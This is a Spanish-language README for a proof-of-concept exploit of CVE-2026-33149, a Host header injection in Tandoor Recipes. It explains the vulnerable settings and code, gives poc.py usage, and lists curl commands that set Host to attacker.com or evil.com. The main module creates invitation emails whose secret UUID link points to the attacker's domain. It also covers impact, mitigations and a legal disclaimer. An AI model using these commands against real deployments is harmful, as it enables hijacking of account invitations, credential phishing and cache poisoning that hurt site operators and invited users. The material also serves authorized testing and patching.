
Prueba de concepto de exploit para CVE-2026-33149, una inyección de cabecera Host en Tandoor Recipes que permite el envenenamiento de enlaces de invitación y el envenenamiento de caché. Incluye módulos para la aceptación de host, paginación, esquema y envenenamiento de invitaciones.
Tandoor Recipes establece ALLOWED_HOSTS = '*' por defecto en settings.py, lo que hace que Django acepte cualquier valor en el encabezado HTTP sin validación. La aplicación utiliza para generar URLs absolutas en múltiples contextos sensibles a la seguridad. Un atacante que pueda enviar solicitudes con un encabezado manipulado puede redirigir todas las URLs generadas por el servidor a un dominio controlado por el atacante.
Hostrequest.build_absolute_uri()HostEl impacto más crítico es el envenenamiento de enlaces de invitación: cuando un administrador crea una invitación de usuario, el correo electrónico enviado por el servidor contiene un enlace que apunta al dominio del atacante. La víctima hace clic en un correo de apariencia legítima, el token de invitación es exfiltrado y el atacante lo utiliza para secuestrar el flujo de aprovisionamiento de cuentas.
| Campo | Valor |
|---|---|
| ID CVE | CVE-2026-33149 |
| GHSA | GHSA-x636-4jx6-xc4w |
| CWE | CWE-644 — Neutralización Incorrecta de Encabezados HTTP para Sintaxis de Scripting |
| CVSS v3.1 | 8.1 ALTO — AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N |
| Versión Afectada | Tandoor Recipes ≤ 2.5.3 |
| Proveedor | TandoorRecipes/recipes |
Archivo: recipes/settings.py:118
ALLOWED_HOSTS = extract_comma_list('ALLOWED_HOSTS', '*') # default: wildcard
ALLOWED_HOSTS de Django es una medida de seguridad que valida el encabezado Host contra una lista blanca. El comodín '*' desactiva esta validación por completo, permitiendo cualquier valor arbitrario.
Archivo: cookbook/serializer.py:1852-1853
message += _('Click the following link to activate your account: ') + self.context[
'request'].build_absolute_uri(
reverse('view_invite', args=[str(obj.uuid)])
) + '\n\n'
request.build_absolute_uri() construye URLs utilizando request.get_host(), que devuelve el valor bruto del encabezado Host cuando ALLOWED_HOSTS no lo restringe. El UUID de invitación — un token secreto — está incrustado en la URL que ahora apunta al atacante.
build_absolute_uri() para las URLs next/previous┌──────────┐ ① Solicitud Manipulada ┌─────────────────┐
│ Atacante │ ──────────────────────────────→│ Servidor Tandoor│
│ │ Host: attacker.com │ ALLOWED_HOSTS=*│
└──────────┘ └────────┬────────┘
│
② build_absolute_uri()
usa "attacker.com"
│
▼
┌────────────────┐
│ Servidor SMTP │
└────────┬───────┘
│
③ Correo con enlace envenenado:
http://attacker.com/invite/<uuid>
│
▼
┌────────────────┐
│ Víctima │
│ (hace clic) │
└────────┬───────┘
│
④ UUID enviado al atacante
│
▼
┌────────────────┐
│ Atacante │
│ usa el UUID en │
│ servidor real │
└────────────────┘
requestspip install requests
# Ejecutar todos los módulos de validación con autenticación básica
python3 poc.py --target http://localhost:8085 \
--basic-auth admin:password \
--attacker evil.com \
--module all
# Ejecutar todos los módulos con cookies de sesión
python3 poc.py --target http://target:8085 \
--session <sessionid> \
--csrf <csrftoken> \
--attacker evil.com \
--module all
# Solo envenenamiento de enlace de invitación
python3 poc.py --target http://target:8085 \
--session <sessionid> \
--csrf <csrftoken> \
--attacker evil.com \
--module invite \
--email [email protected] \
--group-id 1
| Módulo | Descripción |
|---|---|
host-accept | Verifica que el objetivo acepta encabezados Host arbitrarios (ALLOWED_HOSTS = '*') |
pagination | Confirma que las URLs de paginación de la API reflejan el dominio inyectado |
schema | Confirma que las URLs del servidor del esquema OpenAPI reflejan el dominio inyectado |
invite | Crea un enlace de invitación envenenado — el vector de ataque principal |
all | Ejecuta todos los módulos secuencialmente |
1. Aceptación del Encabezado Host
curl -s -o /dev/null -w "%{http_code}" \
http://TARGET:8085/api/user/ \
-H "Host: attacker.com" \
-u "admin:password"
# Esperado: 200 (vulnerable) | 400 (parcheado)
2. Reflexión de URL de Paginación
curl -s "http://TARGET:8085/api/recipe/?page_size=1" \
-H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
-H "Host: evil.com" \
-H "Accept: application/json"
# Esperado: {"next": "http://evil.com/api/recipe/?page=2&page_size=1", ...}
3. Reflexión de URL del Esquema
curl -s http://TARGET:8085/api/schema/ \
-H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
-H "Host: evil.com" | grep -o "http://[^ \"]*" | head -3
# Esperado: http://evil.com/...
4. Envenenamiento de Enlace de Invitación
curl -s http://TARGET:8085/api/invite-link/ \
-X POST \
-H "Content-Type: application/json" \
-H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
-H "X-CSRFToken: CSRF" \
-H "Host: attacker.com" \
-d '{"email":"[email protected]","group":{"id":1},"valid_until":"2027-01-01"}'
# La víctima recibe el correo: "Click: http://attacker.com/invite/<uuid>"
| Área de Impacto | Descripción | Severidad |
|---|---|---|
| Secuestro de Token de Invitación | El atacante captura el UUID de invitación mediante el enlace de correo envenenado, secuestrando el aprovisionamiento de cuentas | Crítico |
| Phishing de Credenciales | La víctima llega a un dominio controlado por el atacante esperando una página de registro legítima | Alto |
| Envenenamiento de Caché | En despliegues con proxies de caché, una sola respuesta envenenada contamina la caché para todos los usuarios | Alto |
| Desvío de Clientes de API | Las URLs de paginación y esquema redirigen a los consumidores de la API a la infraestructura del atacante | Medio |
Establezca ALLOWED_HOSTS para listar explícitamente sus nombres de host válidos:
# docker-compose.yml o .env
ALLOWED_HOSTS=recipes.yourdomain.com,localhost
Host inesperados antes de que lleguen a DjangoUSE_X_FORWARDED_HOST = False — Asegúrese de que Django no confíe en X-Forwarded-Host de fuentes no confiables (el valor predeterminado es False)SITE_URL para la generación de enlaces en correos en lugar de depender de request.build_absolute_uri()Esta prueba de concepto se proporciona únicamente con fines de pruebas de seguridad autorizadas y educativos. El acceso no autorizado a sistemas informáticos es ilegal. El autor no asume ninguna responsabilidad por el uso indebido de esta herramienta.
Filipe Gaudard — Investigador de Seguridad Ofensiva | eWPT | eWPTx